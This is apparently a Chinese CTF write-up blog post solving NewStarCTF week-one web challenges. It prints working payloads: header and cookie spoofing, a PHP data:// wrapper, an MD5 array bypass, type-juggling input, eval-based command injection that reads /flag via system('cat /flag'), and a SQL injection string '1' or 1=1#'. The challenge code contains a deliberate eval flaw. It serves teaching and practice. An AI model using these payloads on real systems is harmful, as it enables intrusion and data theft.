NewStarCTF WEEK1 WEB
P1taya Lv3

1.HTTP

image

进入题目发现要get name,我们猜测要用get的提交数据方式传一个值

get传值公式为

?+变量名+等于号(=)+变量值

题目中的“name”添加了单引号,猜测变量名为name传入

?name=1

image

进入第二关,需要我们post一个key值,但我们不知道key

F12进入开发者模式,html中藏了key值

image

用post传参key=ctfisgood(post传参不会显示到url上面,并且并不需要用问号(?)

image

用bp传入key=ctfisgood后,发现response说我们不是admin,

我们看到cookie中显示user=guest,改为user=admin

得到flag{ed52ca0c-40c7-4c7e-bfd7-d4f2cbbd2435}

2.Head?Header!

image

这里要我们将浏览器改为CTF,我们用bp抓一个包

image

必须要求我们来自‘ctf.com’,这里用到了referer的知识点

Referer 是 HTTP 请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer 。比如我在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:

1
Referer=http://www.google.com

由此可以看出来吧。它就是表示一个来源。看下图的一个请求的 Referer 信息。

referer知识点

我们加一行

referer:ctf.com

image

这里提示我们不是local,在php中有很多头能改来源常见的是X-Forward-For

X-Forwarded-For知识点

我们添加一行

X-Fordward-For:127.0.0.1

127.0.0.1就是本地地址

image

得到flag{d0637815-c4fc-4aa4-a842-06ebfc22817b}

3.我真的会谢

image

flag放在三个地方,都是敏感文件

一般常见的有

robots.txt .index.php.swp www.zip index.php~ 还有很多可以自行查询

题目这里是robots.txt .index.php.swp www.zip

image

image
image

得到flag

正常情况下我们用dirsearch就可以扫出来,不过buu这里不支持

4.NotPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
} Pass it!

是一道php代码审计题目一共有四关

第一关

1
if(file_get_contents($_GET['data']) == "Welcome to CTF")

这里给出相关知识点file_get_contents相关知识点

php伪协议

这里我们用data协议写入

1
?data=data://text/plain,Welcome to CTF

接着第二关

1
要求我们if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2'])

这里要求key1和key2的md5值相同但key1和key2不相等,乍一看觉得很奇怪,但其实md5可以绕过

md5绕过

当我们让key1和key2为数组的时候,md5加密后,结果均为0,则0===0成立

1
key1[]=1&key2[]=2

第三关

1
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077)

is_numeric函数用来判断是否为数字

intval() 函数用于获取变量的整数值。

这里我们需要让num不是数字但让num=2077,这里需要注意这里用到的是==

这是弱类型比较,则我们传入num=2077a

1
num=2077a

intval(2077a)=2077可以在自己实验一下

第四关

1
eval("#".$_GET['cmd']);

简单的rce,难点在于这个#注释

有两种绕过方式

1.?>让前面闭合

2.%0a用换行来绕过

经测试发现空格被过滤 我这利用%20绕过,还有许多绕过方式,自行搜索

1
&cmd=%0asystem('cat%20/flag');
1
&cmd=?><?system('cat%20/flag');

得到flag{cd5e5ad9-1861-4bda-bcd5-bc729f7f953c}

5.Word-For-You

image

看着像sql注入猜一波万能密码

1
1' or 1=1#

image

直接出,这里给一个sql注入学习链接

sql注入



第一周做完了,题目还算比较简单,这段时间充实下自己吧

由 Hexo 驱动 & 主题 Keep
总字数 77.6k